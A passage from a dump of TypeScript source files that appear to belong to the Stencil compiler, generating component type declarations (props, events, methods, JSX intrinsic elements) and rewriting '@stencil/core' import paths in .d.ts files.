.sort(sortImportNames)\n        .map((td) => {\n          if (td.originalName === '') {\n            return `${td.localName}`;\n          } else if (td.originalName === td.importName) {\n            return `${td.originalName}`;\n          } else {\n            return `${td.originalName} as ${td.importName}`;\n          }\n        })\n        .join(`, `);\n      imports.push(`import { ${namedPart} } from \"${importFilePath}\";`);\n      exports.push(`export { ${namedPart} } from \"${importFilePath}\";`);\n    }\n  });\n\n  // Write all import and export statements for event types\n  c.push(...imports, ...exports);\n\n  c.push(`export namespace Components {`);\n  c.push(...modules.map((m) => `${m.component}`));\n  c.push(`}`);\n\n  c.push(...componentEventDetailTypes.map((m) => `${m.component}`));\n\n  c.push(`declare global {`);\n\n  c.push(...modules.map((m) => m.element));\n\n  c.push(`    interface HTMLElementTagNameMap {`);\n  c.push(...modules.map((m) => `        \"${m.tagName}\": ${m.htmlElementName};`));\n  c.push(`    }`);\n\n  c.push(`}`);\n\n  c.push(`declare namespace LocalJSX {`);\n\n  // Add OneOf helper type for required prop unions\n  const hasAnyRequiredProps = modules.some((m) => m.requiredProps);\n  if (hasAnyRequiredProps) {\n    c.push(\n      `    type OneOf<K extends string, PropT, AttrT = PropT> = { [P in K]: PropT } & { [P in \\`attr:\\${K}\\` | \\`prop:\\${K}\\`]?: never } | { [P in \\`attr:\\${K}\\`]: AttrT } & { [P in K | \\`prop:\\${K}\\`]?: never } | { [P in \\`prop:\\${K}\\`]: PropT } & { [P in K | \\`attr:\\${K}\\`]?: never };`,\n    );\n    c.push(``);\n  }\n\n  c.push(\n    ...modules.map((m) => {\n      const docs = components.find((c) => c.tagName === m.tagName).docs;\n      return addDocBlock(m.jsx, docs, 4);\n    }),\n  );\n\n  const attributeInterfaces = modules.filter((m) => m.explicitAttributes).map((m) => m.explicitAttributes);\n  if (attributeInterfaces.length > 0) {\n    c.push(``);\n    c.push(...attributeInterfaces);\n    c.push(``);\n  }\n\n  c.push(`    interface IntrinsicElements {`);\n  c.push(\n    ...modules.map((m) => {\n      if (m.explicitAttributes) {\n        // Base optional props (props without attributes or optional props with attributes)\n        const baseOptional = `Omit<${m.tagNameAsPascal}, keyof ${m.tagNameAsPascal}Attributes> & { [K in keyof ${m.tagNameAsPascal} & keyof ${m.tagNameAsPascal}Attributes]?: ${m.tagNameAsPascal}[K] } & { [K in keyof ${m.tagNameAsPascal} & keyof ${m.tagNameAsPascal}Attributes as \\`attr:\\${K}\\`]?: ${m.tagNameAsPascal}Attributes[K] } & { [K in keyof ${m.tagNameAsPascal} & keyof ${m.tagNameAsPascal}Attributes as \\`prop:\\${K}\\`]?: ${m.tagNameAsPascal}[K] }`;\n\n        if (m.requiredProps && m.requiredProps.length > 0) {\n          // Generate OneOf unions for each required prop\n          const requiredUnions = m.requiredProps\n            .map((prop) => {\n              // Get both the property type and attribute type\n              return `OneOf<\"${prop.name}\", ${m.tagNameAsPascal}[\"${prop.name}\"], ${m.tagNameAsPascal}Attributes[\"${prop.name}\"]>`;\n            })\n            .join(' & ');\n\n          return `        \"${m.tagName}\": ${baseOptional} & ${requiredUnions};`;\n        } else {\n          return `        \"${m.tagName}\": ${baseOptional};`;\n        }\n      } else {\n        return `        \"${m.tagName}\": ${m.tagNameAsPascal};`;\n      }\n    }),\n  );\n  c.push(`    }`);\n\n  c.push(`}`);\n\n  c.push(`export { LocalJSX as JSX };`);\n\n  c.push(`declare module \"@stencil/core\" {`);\n  c.push(`    export namespace JSX {`);\n  c.push(`        interface IntrinsicElements {`);\n  c.push(\n    ...modules.map((m) => {\n      const docs = components.find((c) => c.tagName === m.tagName).docs;\n\n      return addDocBlock(\n        `            \"${m.tagName}\": LocalJSX.IntrinsicElements[\"${m.tagName}\"] & JSXBase.HTMLAttributes<${m.htmlElementName}>;`,\n        docs,\n        12,\n      );\n    }),\n  );\n  c.push(`        }`);\n  c.push(`    }`);\n  c.push(`}`);\n\n  return c.join(`\\n`) + `\\n`;\n};\n"
  },
  {
    "path": "src/compiler/types/generate-component-types.ts",
    "content": "import { addDocBlock, dashToPascalCase, sortBy } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { HTML_ELEMENT_METHODS } from './constants';\nimport { generateEventListenerTypes } from './generate-event-listener-types';\nimport { generateEventTypes } from './generate-event-types';\nimport { generateMethodTypes } from './generate-method-types';\nimport { generatePropTypes } from './generate-prop-types';\n\n/**\n * Attributes automatically available on form-associated custom elements.\n * These mirror the standard HTML form element attributes.\n */\nconst FORM_ASSOCIATED_ATTRIBUTES: d.TypeInfo = [\n  {\n    name: 'disabled',\n    type: 'boolean',\n    optional: true,\n    required: false,\n    internal: false,\n    jsdoc: 'If `true`, the user cannot interact with the element.',\n  },\n  {\n    name: 'form',\n    type: 'string',\n    optional: true,\n    required: false,\n    internal: false,\n    jsdoc: 'The `id` of a `<form>` element to associate this element with.',\n  },\n  {\n    name: 'name',\n    type: 'string',\n    optional: true,\n    required: false,\n    internal: false,\n    jsdoc: 'The name of the element, used when submitting an HTML form.',\n  },\n];\n\n/**\n * Generate a string based on the types that are defined within a component\n * @param cmp the metadata for the component that a type definition string is generated for\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param areTypesInternal `true` if types being generated are for a project's internal purposes, `false` otherwise\n * @returns the generated types string alongside additional metadata\n */\nexport const generateComponentTypes = (\n  cmp: d.ComponentCompilerMeta,\n  typeImportData: d.TypesImportData,\n  areTypesInternal: boolean,\n): d.TypesModule => {\n  const tagName = cmp.tagName.toLowerCase();\n  const tagNameAsPascal = dashToPascalCase(tagName);\n  const htmlElementName = `HTML${tagNameAsPascal}Element`;\n\n  const propAttributes = generatePropTypes(cmp, typeImportData);\n  const methodAttributes = generateMethodTypes(cmp, typeImportData);\n  const eventAttributes = generateEventTypes(cmp, typeImportData, tagNameAsPascal);\n  const { htmlElementEventMap, htmlElementEventListenerProperties } = generateEventListenerTypes(cmp, typeImportData);\n\n  // Check for method conflicts with HTMLElement\n  const conflictingMethods = methodAttributes.filter((method) => HTML_ELEMENT_METHODS.has(method.name));\n  const hasMethodConflicts = conflictingMethods.length > 0;\n\n  const componentAttributes = attributesToMultiLineString(\n    [...propAttributes, ...methodAttributes],\n    false,\n    areTypesInternal,\n  );\n  const isDep = cmp.isCollectionDependency;\n  const propNames = new Set(propAttributes.map((p) => p.name));\n  const formAssociatedAttrs = cmp.formAssociated\n    ? FORM_ASSOCIATED_ATTRIBUTES.filter((attr) => !propNames.has(attr.name))\n    : [];\n\n  const jsxAttributes = attributesToMultiLineString(\n    [...propAttributes, ...eventAttributes, ...formAssociatedAttrs],\n    true,\n    areTypesInternal,\n  );\n\n  // Generate the element interface with method conflict resolution\n  const elementInterface = hasMethodConflicts\n    ? generateElementInterfaceWithConflictResolution(\n        htmlElementName,\n        tagNameAsPascal,\n        conflictingMethods,\n        htmlElementEventListenerProperties,\n        cmp.docs,\n      )\n    : generateStandardElementInterface(htmlElementName, tagNameAsPascal, htmlElementEventListenerProperties, cmp.docs);\n\n  const element = [\n    ...htmlElementEventMap,\n    ...elementInterface,\n    `    var ${htmlElementName}: {`,\n    `        prototype: ${htmlElementName};`,\n    `        new (): ${htmlElementName};`,\n    `    };`,\n  ];\n  // Generate explicit attributes interface (only props with HTML attributes)\n  // Props without attributes don't need attr: or prop: prefixes - they're already property-only\n  const propsWithAttributes = cmp.properties.filter((prop) => prop.attribute !== undefined);\n  const hasExplicitAttributes = propsWithAttributes.length > 0;\n  const requiredProps = propsWithAttributes.filter((prop) => {\n    // Exclude internal props when generating public types (areTypesInternal === false)\n    // Internal props are stripped from the JSX interface during distribution builds,\n    // so they shouldn't be included in the OneOf requirement\n    if (!areTypesInternal && prop.internal) {\n      return false;\n    }\n    return prop.required;\n  });\n  const hasRequiredProps = requiredProps.length > 0;\n\n  const explicitAttributes = propsWithAttributes\n    .filter((prop) => {\n      // Exclude internal props when generating public types (areTypesInternal === false)\n      if (!areTypesInternal && prop.internal) {\n        return false;\n      }\n      return true;\n    })\n    .map((prop) => {\n      const propMeta = cmp.properties.find((p) => p.name === prop.name);\n      const simpleType = propMeta?.type?.trim();\n      let attrType: string;\n\n      // If it's a simple primitive type that can be set directly as an attribute\n      if (simpleType && ['string', 'number', 'boolean'].includes(simpleType)) {\n        // Try to use the more specific TypeScript type for better precision\n        // e.g., 'full' | 'inset' | 'none' instead of just 'string'\n        attrType = propMeta?.complexType?.original || simpleType;\n      } else {\n        // For complex types (objects, arrays, etc.) or unknown/any,\n        // attributes can still accept strings (user may have custom serializers)\n        attrType = 'string';\n      }\n\n      return `        \"${prop.name}\": ${attrType};`;\n    })\n    .join('\\n');\n\n  return {\n    isDep,\n    tagName,\n    tagNameAsPascal,\n    htmlElementName,\n    component: addDocBlock(`    interface ${tagNameAsPascal} {\\n${componentAttributes}    }`, cmp.docs, 4),\n    jsx: `    interface ${tagNameAsPascal} {\\n${jsxAttributes}    }`,\n    element: element.join(`\\n`),\n    explicitAttributes: hasExplicitAttributes\n      ? `    interface ${tagNameAsPascal}Attributes {\\n${explicitAttributes}\\n    }`\n      : null,\n    explicitProperties: null,\n    requiredProps: hasRequiredProps\n      ? requiredProps.map((p) => ({\n          name: p.name,\n          type: p.type,\n          complexType: p.complexType,\n        }))\n      : null,\n  };\n};\n\n/**\n * Generate element interface when there are no method conflicts\n * @param htmlElementName the name of the HTML element interface\n * @param tagNameAsPascal the component tag name in PascalCase\n * @param htmlElementEventListenerProperties event listener properties for the element\n * @param docs JSDoc documentation for the component\n * @returns array of interface definition lines\n */\nfunction generateStandardElementInterface(\n  htmlElementName: string,\n  tagNameAsPascal: string,\n  htmlElementEventListenerProperties: string[],\n  docs: d.CompilerJsDoc | undefined,\n): string[] {\n  return [\n    addDocBlock(\n      `    interface ${htmlElementName} extends Components.${tagNameAsPascal}, HTMLStencilElement {`,\n      docs,\n      4,\n    ),\n    ...htmlElementEventListenerProperties,\n    `    }`,\n  ];\n}\n\n/**\n * Generate element interface with method conflict resolution using intersection types\n * @param htmlElementName the name of the HTML element interface\n * @param tagNameAsPascal the component tag name in PascalCase\n * @param conflictingMethods array of method metadata that conflicts with HTMLElement methods\n * @param htmlElementEventListenerProperties event listener properties for the element\n * @param docs JSDoc documentation for the component\n * @returns array of interface definition lines\n */\nfunction generateElementInterfaceWithConflictResolution(\n  htmlElementName: string,\n  tagNameAsPascal: string,\n  conflictingMethods: d.TypeInfo,\n  htmlElementEventListenerProperties: string[],\n  docs: d.CompilerJsDoc | undefined,\n): string[] {\n  const methodOverrides = conflictingMethods\n    .map((method) => {\n      const optional = method.optional ? '?' : '';\n      let docBlock = '';\n      if (method.jsdoc) {\n        docBlock =\n          [`        /**`, ...method.jsdoc.split('\\n').map((line) => '          * ' + line), `         */`].join('\\n') +\n          '\\n';\n      }\n      return `${docBlock}        \"${method.name}\"${optional}: ${method.type};`;\n    })\n    .join('\\n');\n\n  return [\n    addDocBlock(\n      `    interface ${htmlElementName} extends Omit<Components.${tagNameAsPascal}, ${conflictingMethods.map((m) => `\"${m.name}\"`).join(' | ')}>, HTMLStencilElement {`,\n      docs,\n      4,\n    ),\n    methodOverrides,\n    ...htmlElementEventListenerProperties,\n    `    }`,\n  ];\n}\n\nconst attributesToMultiLineString = (attributes: d.TypeInfo, jsxAttributes: boolean, internal: boolean) => {\n  const attributesStr = sortBy(attributes, (a) => a.name)\n    .filter((type) => {\n      if (jsxAttributes && !internal && type.internal) {\n        return false;\n      }\n      return true;\n    })\n    .reduce((fullList, type) => {\n      if (type.jsdoc) {\n        fullList.push(`        /**`);\n        fullList.push(...type.jsdoc.split('\\n').map((line) => '          * ' + line));\n        fullList.push(`         */`);\n      }\n      const optional = jsxAttributes ? !type.required : type.optional;\n      fullList.push(`        \"${type.name}\"${optional ? '?' : ''}: ${type.type};`);\n      return fullList;\n    }, [] as string[])\n    .join(`\\n`);\n\n  return attributesStr !== '' ? `${attributesStr}\\n` : '';\n};\n"
  },
  {
    "path": "src/compiler/types/generate-event-detail-types.ts",
    "content": "import { dashToPascalCase } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Generates the custom event interface for each component that combines the `CustomEvent` interface with\n * the HTMLElement target. This is used to allow implementers to use strict typings on event handlers.\n *\n * The generated interface accepts a generic for the event detail type. This allows implementers to use\n * custom typings for individual events without Stencil needing to generate an interface for each event.\n *\n * @param cmp The component compiler metadata\n * @returns The generated interface type definition.\n */\nexport const generateEventDetailTypes = (cmp: d.ComponentCompilerMeta): d.TypesModule => {\n  const tagName = cmp.tagName.toLowerCase();\n  const tagNameAsPascal = dashToPascalCase(tagName);\n  const htmlElementName = `HTML${tagNameAsPascal}Element`;\n\n  const isDep = cmp.isCollectionDependency;\n\n  const cmpEventInterface = `${tagNameAsPascal}CustomEvent`;\n  const cmpInterface = [\n    `export interface ${cmpEventInterface}<T> extends CustomEvent<T> {`,\n    `    detail: T;`,\n    `    target: ${htmlElementName};`,\n    `}`,\n  ];\n  return {\n    isDep,\n    tagName,\n    tagNameAsPascal,\n    htmlElementName,\n    component: cmpInterface.join('\\n'),\n    jsx: cmpInterface.join('\\n'),\n    element: cmpInterface.join('\\n'),\n    explicitAttributes: null,\n    explicitProperties: null,\n    requiredProps: null,\n  };\n};\n"
  },
  {
    "path": "src/compiler/types/generate-event-listener-types.ts",
    "content": "import { dashToPascalCase } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { updateTypeIdentifierNames } from './stencil-types';\n\n/**\n * Generates event listener properties for the component's html element type. This is used to allow implementers\n * to use strict typings when adding and removing event listeners.\n *\n * @param cmp The component compiler metadata\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @returns additional types information to add event listener method overloads for component's html element type\n */\nexport const generateEventListenerTypes = (\n  cmp: d.ComponentCompilerMeta,\n  typeImportData: d.TypesImportData,\n): { htmlElementEventMap: string[]; htmlElementEventListenerProperties: string[] } => {\n  const tagName = cmp.tagName.toLowerCase();\n  const tagNameAsPascal = dashToPascalCase(tagName);\n  const htmlElementName = `HTML${tagNameAsPascal}Element`;\n  const cmpEventInterface = `${tagNameAsPascal}CustomEvent`;\n  const htmlElementEventMapName = `${htmlElementName}EventMap`;\n  const cmpEvents = cmp.events.filter((cmpEvent) => cmpEvent.complexType.original);\n  if (!cmpEvents.length) {\n    return { htmlElementEventMap: [], htmlElementEventListenerProperties: [] };\n  }\n  return {\n    htmlElementEventMap: getHtmlElementEventMap(cmpEvents, typeImportData, cmp.sourceFilePath, htmlElementEventMapName),\n    htmlElementEventListenerProperties: [\n      `        addEventListener<K extends keyof ${htmlElementEventMapName}>(type: K, listener: (this: ${htmlElementName}, ev: ${cmpEventInterface}<${htmlElementEventMapName}[K]>) => any, options?: boolean | AddEventListenerOptions): void;`,\n      '        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n      '        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n      '        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;',\n      `        removeEventListener<K extends keyof ${htmlElementEventMapName}>(type: K, listener: (this: ${htmlElementName}, ev: ${cmpEventInterface}<${htmlElementEventMapName}[K]>) => any, options?: boolean | EventListenerOptions): void;`,\n      '        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n      '        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n      '        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;',\n    ],\n  };\n};\n\n/**\n * Generates map of event names and user implemented event type(s). Used to avoid having to write individual\n * event listener method overloads per event type.\n *\n * @param cmpEvents a collection of the compiler metadata for each individual `@Event()`\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param sourceFilePath the path to the source file being visited\n * @param htmlElementEventMapName the name of the component event map type\n * @returns map of event names and user implemented event type(s)\n */\nconst getHtmlElementEventMap = (\n  cmpEvents: d.ComponentCompilerEvent[],\n  typeImportData: d.TypesImportData,\n  sourceFilePath: string,\n  htmlElementEventMapName: string,\n): string[] => {\n  const eventMapProperties = cmpEvents.map((cmpEvent) => {\n    const type = getEventGenericType(cmpEvent, typeImportData, sourceFilePath);\n    return `        \"${cmpEvent.name}\": ${type};`;\n  });\n  return [`    interface ${htmlElementEventMapName} {`, ...eventMapProperties, `    }`];\n};\n\n/**\n * Determine the correct type name for all user implemented event type(s) used by a class member annotated with `@Event()`.\n *\n * @param cmpEvent the compiler metadata for a single `@Event()`\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param componentSourcePath the path to the component on disk\n * @returns the user implemented event type associated with a `@Event()`\n */\nconst getEventGenericType = (\n  cmpEvent: d.ComponentCompilerEvent,\n  typeImportData: d.TypesImportData,\n  componentSourcePath: string,\n): string => {\n  return updateTypeIdentifierNames(\n    cmpEvent.complexType.references,\n    typeImportData,\n    componentSourcePath,\n    cmpEvent.complexType.original,\n  );\n};\n"
  },
  {
    "path": "src/compiler/types/generate-event-types.ts",
    "content": "import { getTextDocs, toTitleCase } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { updateTypeIdentifierNames } from './stencil-types';\n\n/**\n * Generates the individual event types for all @Event() decorated events in a component\n * @param cmpMeta component runtime metadata for a single component\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param cmpClassName The pascal cased name of the component class\n * @returns the generated type metadata\n */\nexport const generateEventTypes = (\n  cmpMeta: d.ComponentCompilerMeta,\n  typeImportData: d.TypesImportData,\n  cmpClassName: string,\n): d.TypeInfo => {\n  return cmpMeta.events.map((cmpEvent) => {\n    const name = `on${toTitleCase(cmpEvent.name)}`;\n    const cmpEventDetailInterface = `${cmpClassName}CustomEvent`;\n    const type = getEventType(cmpEvent, cmpEventDetailInterface, typeImportData, cmpMeta.sourceFilePath);\n\n    const typeInfo: d.TypeInfo[0] = {\n      name,\n      type,\n      optional: false,\n      required: false,\n      internal: cmpEvent.internal,\n      jsdoc: getTextDocs(cmpEvent.docs),\n    };\n    return typeInfo;\n  });\n};\n\n/**\n * Determine the correct type name for all type(s) used by a class member annotated with `@Event()`\n * @param cmpEvent the compiler metadata for a single `@Event()`\n * @param cmpEventDetailInterface the name of the custom event type to use in the generated type\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param componentSourcePath the path to the component on disk\n * @returns the type associated with a `@Event()`\n */\nconst getEventType = (\n  cmpEvent: d.ComponentCompilerEvent,\n  cmpEventDetailInterface: string,\n  typeImportData: d.TypesImportData,\n  componentSourcePath: string,\n): string => {\n  if (!cmpEvent.complexType.original) {\n    return 'CustomEvent';\n  }\n  const updatedTypeName = updateTypeIdentifierNames(\n    cmpEvent.complexType.references,\n    typeImportData,\n    componentSourcePath,\n    cmpEvent.complexType.original,\n  );\n  return `(event: ${cmpEventDetailInterface}<${updatedTypeName}>) => void`;\n};\n"
  },
  {
    "path": "src/compiler/types/generate-method-types.ts",
    "content": "import { getTextDocs } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { updateTypeIdentifierNames } from './stencil-types';\n\n/**\n * Generates the individual event types for all @Method() decorated events in a component\n * @param cmpMeta component runtime metadata for a single component\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @returns the generated type metadata\n */\nexport const generateMethodTypes = (\n  cmpMeta: d.ComponentCompilerMeta,\n  typeImportData: d.TypesImportData,\n): d.TypeInfo => {\n  return cmpMeta.methods.map((cmpMethod) => ({\n    name: cmpMethod.name,\n    type: getType(cmpMethod, typeImportData, cmpMeta.sourceFilePath),\n    optional: false,\n    required: false,\n    internal: cmpMethod.internal,\n    jsdoc: getTextDocs(cmpMethod.docs),\n  }));\n};\n\n/**\n * Determine the correct type name for all type(s) used by a class member annotated with `@Method()`\n * @param cmpMethod the compiler metadata for a single `@Method()`\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param componentSourcePath the path to the component on disk\n * @returns the type associated with a `@Method()`\n */\nfunction getType(\n  cmpMethod: d.ComponentCompilerMethod,\n  typeImportData: d.TypesImportData,\n  componentSourcePath: string,\n): string {\n  return updateTypeIdentifierNames(\n    cmpMethod.complexType.references,\n    typeImportData,\n    componentSourcePath,\n    cmpMethod.complexType.signature,\n  );\n}\n"
  },
  {
    "path": "src/compiler/types/generate-prop-types.ts",
    "content": "import { getTextDocs } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { updateTypeIdentifierNames } from './stencil-types';\n\n/**\n * Generates the individual event types for all @Prop() decorated events in a component\n * @param cmpMeta component runtime metadata for a single component\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @returns the generated type metadata\n */\nexport const generatePropTypes = (cmpMeta: d.ComponentCompilerMeta, typeImportData: d.TypesImportData): d.TypeInfo => {\n  return [\n    ...cmpMeta.properties.map((cmpProp) => {\n      let doc = getTextDocs(cmpProp.docs);\n      if (cmpProp.getter && !cmpProp.setter && !doc?.match('@readonly')) {\n        cmpProp.docs = cmpProp.docs || { tags: [], text: '' };\n        cmpProp.docs.tags = [...(cmpProp.docs.tags || []), { name: 'readonly', text: '' }];\n        doc = getTextDocs(cmpProp.docs);\n      }\n      if (cmpProp.defaultValue !== undefined && !doc?.match('@default')) {\n        cmpProp.docs = cmpProp.docs || { tags: [], text: '' };\n        cmpProp.docs.tags = [...(cmpProp.docs.tags || []), { name: 'default', text: cmpProp.defaultValue }];\n        doc = getTextDocs(cmpProp.docs);\n      }\n      return {\n        name: cmpProp.name,\n        type: getType(cmpProp, typeImportData, cmpMeta.sourceFilePath),\n        optional: cmpProp.optional,\n        required: cmpProp.required,\n        internal: cmpProp.internal,\n        jsdoc: doc,\n      };\n    }),\n    ...cmpMeta.virtualProperties.map((cmpProp) => ({\n      name: cmpProp.name,\n      type: cmpProp.type,\n      optional: true,\n      required: false,\n      jsdoc: cmpProp.docs,\n      internal: false,\n    })),\n  ];\n};\n\n/**\n * Determine the correct type name for all type(s) used by a class member annotated with `@Prop()`\n * @param cmpProp the compiler metadata for a single `@Prop()`\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param componentSourcePath the path to the component on disk\n * @returns the type associated with a `@Prop()`\n */\nfunction getType(\n  cmpProp: d.ComponentCompilerProperty,\n  typeImportData: d.TypesImportData,\n  componentSourcePath: string,\n): string {\n  return updateTypeIdentifierNames(\n    cmpProp.complexType.references,\n    typeImportData,\n    componentSourcePath,\n    cmpProp.complexType.original,\n  );\n}\n"
  },
  {
    "path": "src/compiler/types/generate-types.ts",
    "content": "import { isDtsFile, join, relative } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { generateCustomElementsTypes } from '../output-targets/dist-custom-elements/custom-elements-types';\nimport { generateAppTypes } from './generate-app-types';\nimport { copyStencilCoreDts, updateStencilTypesImports } from './stencil-types';\n\n/**\n * For a single output target, generate types, then copy the Stencil core type declaration file\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n * @param outputTarget the output target to generate types for\n */\nexport const generateTypes = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistTypes,\n): Promise<void> => {\n  if (!buildCtx.hasError) {\n    await generateTypesOutput(config, compilerCtx, buildCtx, outputTarget);\n    await copyStencilCoreDts(config, compilerCtx);\n  }\n};\n\n/**\n * Generate type definition files and write them to a dist directory\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n * @param outputTarget the output target to generate types for\n */\nconst generateTypesOutput = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistTypes,\n): Promise<void> => {\n  // get all type declaration files in a project's src/ directory\n  const srcDirItems = await compilerCtx.fs.readdir(config.srcDir, { recursive: false });\n  const srcDtsFiles = srcDirItems.filter((srcItem) => srcItem.isFile && isDtsFile(srcItem.absPath));\n\n  // Copy .d.ts files from src to dist\n  // In addition, all references to @stencil/core are replaced\n  const copiedDTSFilePaths = await Promise.all(\n    srcDtsFiles.map(async (srcDtsFile) => {\n      const relPath = relative(config.srcDir, srcDtsFile.absPath);\n      const distPath = join(outputTarget.typesDir, relPath);\n\n      const originalDtsContent = await compilerCtx.fs.readFile(srcDtsFile.absPath);\n      const distDtsContent = updateStencilTypesImports(outputTarget.typesDir, distPath, originalDtsContent);\n\n      await compilerCtx.fs.writeFile(distPath, distDtsContent);\n      return distPath;\n    }),\n  );\n  const distDtsFilePath = copiedDTSFilePaths.slice(-1)[0];\n\n  const distPath = outputTarget.typesDir;\n  await generateAppTypes(config, compilerCtx, buildCtx, distPath);\n  const { typesDir } = outputTarget;\n\n  if (distDtsFilePath) {\n    await generateCustomElementsTypes(config, compilerCtx, buildCtx, typesDir);\n  }\n};\n"
  },
  {
    "path": "src/compiler/types/package-json-log-utils.ts",
    "content": "import { buildJsonFileError } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Build a diagnostic for an error resulting from a particular field in a\n * package.json file\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param msg an error string\n * @param jsonField the key for the field which caused the error, used for\n * finding the error line in the original JSON file\n * @returns a diagnostic object\n */\nexport const packageJsonError = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  msg: string,\n  jsonField: string,\n): d.Diagnostic => {\n  const err = buildJsonFileError(compilerCtx, buildCtx.diagnostics, config.packageJsonFilePath, msg, jsonField);\n  err.header = `Package Json`;\n  return err;\n};\n\n/**\n * Build a diagnostic for a warning resulting from a particular field in a\n * package.json file\n *\n * @param config the stencil config\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param msg an error string\n * @param jsonField the key for the field which caused the error, used for\n * finding the error line in the original JSON file\n * @returns a diagnostic object\n */\nexport const packageJsonWarn = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  msg: string,\n  jsonField: string,\n): d.Diagnostic => {\n  const warn = buildJsonFileError(compilerCtx, buildCtx.diagnostics, config.packageJsonFilePath, msg, jsonField);\n  warn.header = `Package Json`;\n  warn.level = 'warn';\n  return warn;\n};\n"
  },
  {
    "path": "src/compiler/types/stencil-types.ts",
    "content": "import { isOutputTargetDistTypes, join, normalizePath, relative, resolve } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../declarations';\nimport { FsWriteResults } from '../sys/in-memory-fs';\n\n/**\n * Update a type declaration file's import declarations using the module `@stencil/core`\n * @param typesDir the directory where type declaration files are expected to exist\n * @param dtsFilePath the path of the type declaration file being updated, used to derive the correct import declaration\n * module\n * @param dtsContent the content of a type declaration file to update\n * @returns the updated type declaration file contents\n */\nexport const updateStencilTypesImports = (typesDir: string, dtsFilePath: string, dtsContent: string): string => {\n  const dir = dirname(dtsFilePath);\n  // determine the relative path between the directory of the .d.ts file and the types directory. this value may result\n  // in '.' if they are the same\n  const relPath = relative(dir, typesDir);\n\n  let coreDtsPath = join(relPath, CORE_FILENAME);\n  if (!coreDtsPath.startsWith('.')) {\n    coreDtsPath = `./${coreDtsPath}`;\n  }\n\n  coreDtsPath = normalizePath(coreDtsPath);\n  if (dtsContent.includes('@stencil/core')) {\n    dtsContent = dtsContent.replace(/(from\\s*(:?'|\"))@stencil\\/core\\/internal('|\")/g, `$1${coreDtsPath}$2`);\n    dtsContent = dtsContent.replace(/(from\\s*(:?'|\"))@stencil\\/core('|\")/g, `$1${coreDtsPath}$2`);\n  }\n  return dtsContent;\n};\n\n/**\n * Utility for ensuring that naming collisions do not appear in type declaration files for a component's class members\n * decorated with @Prop, @Event, and @Method\n * @param typeReferences all type names used by a component class member\n * @param typeImportData locally/imported/globally used type names, which may be used to prevent naming collisions\n * @param sourceFilePath the path to the source file of a component using the type being inspected\n * @param initialType the name of the type that may be updated\n * @returns the updated type name, which may be the same as the initial type name provided as an argument to this\n * function\n */\nexport const updateTypeIdentifierNames = (\n  typeReferences: d.ComponentCompilerTypeReferences,\n  typeImportData: d.TypesImportData,\n  sourceFilePath: string,\n  initialType: string,\n): string => {\n  let currentTypeName = initialType;\n\n  // iterate over each of the type references, as there may be >1 reference to inspect\n  for (const typeReference of Object.values(typeReferences)) {\n    const importResolvedFile = getTypeImportPath(typeReference.path, sourceFilePath);\n\n    if (typeof importResolvedFile !== 'string') {\n      continue;\n    }\n\n    if (!typeImportData.hasOwnProperty(importResolvedFile)) {\n      continue;\n    }\n\n    for (const typesImportDatumElement of typeImportData[importResolvedFile]) {\n      currentTypeName = updateTypeName(currentTypeName, typesImportDatumElement);\n    }\n  }\n  return currentTypeName;\n};\n\n/**\n * Determine the path of a given type reference, relative to the path of a source file\n * @param importResolvedFile the path to the file containing the resolve type. may be absolute or relative\n * @param sourceFilePath the component source file path to resolve against\n * @returns the path of the type import\n */\nconst getTypeImportPath = (importResolvedFile: string | undefined, sourceFilePath: string): string | undefined => {\n  if (importResolvedFile && importResolvedFile.startsWith('.')) {\n    // the path to the type reference is relative, resolve it relative to the provided source path\n    importResolvedFile = resolve(dirname(sourceFilePath), importResolvedFile);\n  }\n\n  return importResolvedFile;\n};\n\n/**\n * Determine whether the string representation of a type should be replaced with an alias\n * @param currentTypeName the current string 